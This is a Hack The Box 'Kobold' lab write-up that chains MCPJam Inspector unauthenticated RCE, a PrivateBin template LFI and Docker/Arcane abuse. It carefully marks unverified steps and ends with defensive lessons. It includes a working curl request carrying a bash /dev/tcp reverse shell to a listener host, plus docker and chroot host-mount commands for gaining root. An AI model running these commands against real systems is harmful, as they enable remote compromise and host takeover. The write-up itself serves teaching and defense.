HTB Kobold: MCPJam RCE and an Unverified PrivateBin/Arcane Chain

Kobold lab notes on MCPJam's unauthenticated connect endpoint and a reported PrivateBin/Arcane route. The PrivateBin-to-RCE steps depend on configuration and paths not retained in the evidence.

10 min read
ibrahimsql
1,884 words

HTB Kobold

Kobold's reported layout has a static landing page, a PrivateBin paste site (bin.kobold.htb), an MCPJam Inspector (mcp.kobold.htb), and an Arcane Docker management panel on port 3552. Raw service-enumeration output was not retained, so these details are lab notes rather than independently verified observations.

The MCPJam advisory describes unauthenticated RCE in versions 1.4.2 and earlier: the API listens on 0.0.0.0, exposing /api/mcp/connect, where an attacker-controlled command and argument list is executed. The advisory currently lists no patched version; do not treat 1.4.3 as a verified fix. See the upstream advisory.

Two root routes are reported in the original lab notes, but neither complete route has a retained transcript:

  1. Claimed route. ben reportedly belongs to operator, which can write to a directory mounted into PrivateBin. A PrivateBin template LFI is also reported. That CVE is exploitable only when templateselection is enabled (disabled by default); LFI alone does not prove RCE. The claimed path additionally needs a reachable attacker-written PHP file and a valid path relative to PrivateBin's tpl directory. The retained notes do not establish those conditions or the subsequent Arcane credential reuse.
  2. Claimed shortcut. The notes report that /etc/gshadow lists ben in the Docker group. No raw group or Docker output is retained to verify this.

1. Recon

nmap -p- --min-rate=10000 -sV kobold.htb

Open ports reported by the original lab notes; raw scan output was not retained:

Text
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.x (Ubuntu)
80/tcp   open  http    nginx
443/tcp  open  ssl/http nginx
3552/tcp open  http    Arcane (Docker management panel)

Lab notes say the vhosts answered over HTTPS; the original response and certificate details were not retained.

Bash
ffuf -u https://kobold.htb -H "Host: FUZZ.kobold.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -mc all -fs <default-size>
# bin   [200]   -> PrivateBin
# mcp   [200]   -> MCPJam Inspector v1.4.2

The original notes report that the mcp.kobold.htb page showed MCPJam Inspector v1.4.2. MCPJam is a developer tool for listing and testing MCP servers; its API's local-first trust assumption is the security boundary discussed in the advisory.

2. CVE-2026-23744: Unauthenticated RCE

The MCPJam advisory identifies versions ≤1.4.2 as affected and says the default 0.0.0.0 bind makes the unauthenticated /api/mcp/connect endpoint remotely reachable. It describes command execution from serverConfig.command and serverConfig.args. The advisory lists no patched version, so this article does not name 1.4.3 as a fix; confirm remediation with current maintainer guidance and keep the service loopback-only or otherwise inaccessible until fixed.

The following is conceptual pseudocode to show the trust boundary, not a source-code excerpt:

JavaScript
app.post('/api/mcp/connect', (req, res) => {
  const { serverConfig } = req.body;      // { command, args, env }
  // BUG: no auth, no allowlist, no sanitization
  const child = spawn(serverConfig.command, serverConfig.args,
                      { env: serverConfig.env });
  res.json({ ok: true });
});

The request shape below follows the advisory's PoC. The reverse-shell command is a lab adaptation, not a retained request; no response or session transcript is available:

Bash
nc -lvnp 4444 &
 
curl -s -k -X POST https://mcp.kobold.htb/api/mcp/connect \
  -H 'Content-Type: application/json' \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"],"env":{}},"serverId":"Hello666"}'

-k disables certificate verification; use it only for an authorized lab with an untrusted certificate, not as a general fix. The following command is the expected validation step if a shell is obtained; no output was retained:

id

The original notes attribute the shell to ben, but without the process identity or session output this remains an unverified box-specific claim.

Step by step

  • nc -lvnp 4444 &: starts the listener in the background (-l listen, -v verbose, -n no DNS, -p 4444 port).
  • curl -s -k -X POST https://mcp.kobold.htb/api/mcp/connect: sends a POST to the endpoint; -s silences output, -k accepts the self-signed certificate.
  • -H 'Content-Type: application/json': required so Express's express.json() middleware parses the body.
  • serverConfig.command / serverConfig.args: the program to run and its argv array. The body is nested under the serverConfig object, not flat; serverId is the session key.
  • bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1': the classic /dev/tcp reverse shell; stdout/stderr/stdin are wired to the listener.

This CVE is a textbook example of what happens when MCP interfaces written under the "local tool, trusted environment" assumption are exposed to the network. The same pattern repeats in other tools that feed a command field into spawn/eval without validation (see CVE-2025-49596).

3. Assessing the reported operator → PrivateBin → Arcane path

In the reported foothold shell, check the effective group membership:

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

The lab notes identify ben as an operator member (GID 37); verify the actual identity and permissions on the target rather than relying on the note:

Bash
find / -xdev -group operator -ls 2>/dev/null
# drwxrwx---  root operator  /privatebin-data
# drwxrwxrwx  root operator  /privatebin-data/data   <-- world-writable
# ...

The original notes say /privatebin-data/data/ was writable and mounted into the PrivateBin container, citing docker-proxy and an Nginx vhost mapping. Raw command output and the container's in-container mount path were not retained, so this does not establish where the directory resolves relative to tpl.

PrivateBin LFI (CVE-2025-64714)

PrivateBin's CVE-2025-64714 advisory describes unauthenticated path traversal in template selection for versions since 1.7.7, patched in 2.0.3. Exploitation requires templateselection = true in cfg/conf.php (the default is false) and a template cookie naming an existing PHP file by a path relative to the tpl directory; absolute paths do not work. The flaw is LFI, not automatic RCE: PrivateBin's own config and paste-data files have PHP protection lines, and the advisory found no general RCE. RCE requires a separate reachable PHP file without that protection.

  1. First verify the configuration prerequisite in an authorized, isolated instance: is template selection enabled?
  2. Establish that the writable host directory is mounted at a known path inside the container and that an attacker-controlled .php file can be reached from tpl by a relative path.
  3. Only then test whether the selected file is included and executes. Neither the required relative path nor an inclusion result is present in the retained Kobold notes.

The advisory gives this limited probe for an authorized test instance with template selection enabled:

curl -i --cookie 'template=../cfg/conf' 'https://bin.kobold.htb/'

The cookie path is relative to tpl, with the .php suffix supplied by PrivateBin. This checks the LFI condition; it does not demonstrate RCE or disclose the target's configuration. The endpoint and configuration shown here are a test example, not a captured Kobold request.

Container config → Arcane → root

The original notes report that the PrivateBin config contained a plaintext database password and that the same password worked on Arcane. No config, login response, or container transcript was retained, so password reuse and the subsequent privileged-container step remain unverified.

Bash
# From the Arcane UI: new container
# image: alpine
# bind mount: / (host)  ->  /host
# command: sh -c 'chroot /host bash'
 
# after login
whoami
# root
cat /root/root.txt

Control of a rootful Docker daemon is generally root-equivalent because a privileged container can mount the host filesystem. Rootless Docker and daemon authorization change that boundary; verify the daemon mode and access controls instead of assuming every Docker socket grants host root.

Shortcut: the docker group (unintended)

The original notes say /etc/gshadow listed ben in the Docker group. Treat that as an unverified shortcut until the file contents and effective group membership are captured:

Bash
grep docker /etc/gshadow
newgrp docker
id
docker ps
docker run -v /:/host --rm -it alpine chroot /host bash

These are illustrative lab commands only; no command output was retained. Do not run the host-root bind-mount command outside an authorized disposable target.

This route would bypass the PrivateBin/Arcane chain if the reported group membership and rootful Docker access are confirmed; neither result was retained.

Reported attack path (not independently reproduced)

Text
Attacker → MCPJam Inspector v1.4.2 (reported)
  → unauthenticated POST /api/mcp/connect
  → command execution / shell as ben (reported; no session transcript)
  → operator group and writable host directory (reported; no raw output)
  → PrivateBin LFI, only if templateselection=true
  → RCE? requires a reachable PHP file and known tpl-relative path (not established)
  → config password / Arcane login / privileged host mount (reported, not verified)
  → root?
 
Separate reported shortcut: /etc/gshadow → docker group → rootful Docker daemon → host mount → root

The question marks are deliberate: the existing notes do not prove these transitions.

Lessons

  • MCPJam's trust boundary: the advisory documents a remotely reachable, unauthenticated command endpoint when the service listens on 0.0.0.0. Keep local developer tools loopback-bound and enforce authorization at the server, not only at a proxy.
  • PrivateBin's precondition: CVE-2025-64714 requires template selection to be enabled; the default is off. Patch to 2.0.3 or later, or disable the option. Do not describe the LFI as RCE unless a separate writable PHP target and its relative include path are demonstrated.
  • Container-to-host boundary: a writable bind mount is not itself a container escape. Record the host and container paths, mount mode, PHP runtime behavior, and daemon privileges before drawing a root chain.
  • Docker permissions: membership can be root-equivalent with a rootful daemon; inspect effective groups, socket permissions, and rootless mode. Never grant access to the Docker socket as a substitute for scoped privileges.
  • Evidence quality: keep raw version, request, response, mount, and identity output for each transition. A CVE match or version string alone does not prove the vulnerable configuration was enabled.

Appendix: Checks That Matter

  • The MCPJam advisory documents /api/mcp/connect and the nested serverConfig.command / serverConfig.args request fields; verify the installed build and the actual listening interface.
  • For PrivateBin, confirm templateselection is enabled before testing the LFI; the advisory's path is relative to tpl, and a successful LFI probe does not establish code execution.
  • Resolve a writable host path to its actual container mount path before constructing a relative template path. Do not infer a host path is directly reachable from PHP.
  • If a callback fails in an authorized lab, inspect listener binding, routing, and egress separately. No Kobold egress result is retained here.
  • Treat the Docker-group shortcut and Arcane credential reuse as hypotheses until group membership, daemon mode, and authorized login results are recorded.

Evidence boundaries

  • MCPJam and PrivateBin behavior is tied to the published advisories. Kobold-specific versions, identities, groups, mount paths, passwords, and privilege transitions are original lab notes; no machine image or raw transcript is retained.
  • PrivateBin's advisory requires templateselection = true (default false) and describes LFI, not automatic RCE. The claimed webshell path, PHP inclusion, config access, Arcane password reuse, and root transition are not independently substantiated.
  • The MCPJam advisory currently lists versions ≤1.4.2 as affected and no patched version. Confirm current maintainer remediation rather than relying on an unsupported 1.4.3 claim.

Primary Sources

// END OF REPORT Tags: HTB-Kobold / CVE-2026-23744 / CVE-2025-64714 / MCPJam / PrivateBin / Arcane / Docker / container escape

---
Share this post:

What do you think?

React to show your appreciation

Related Posts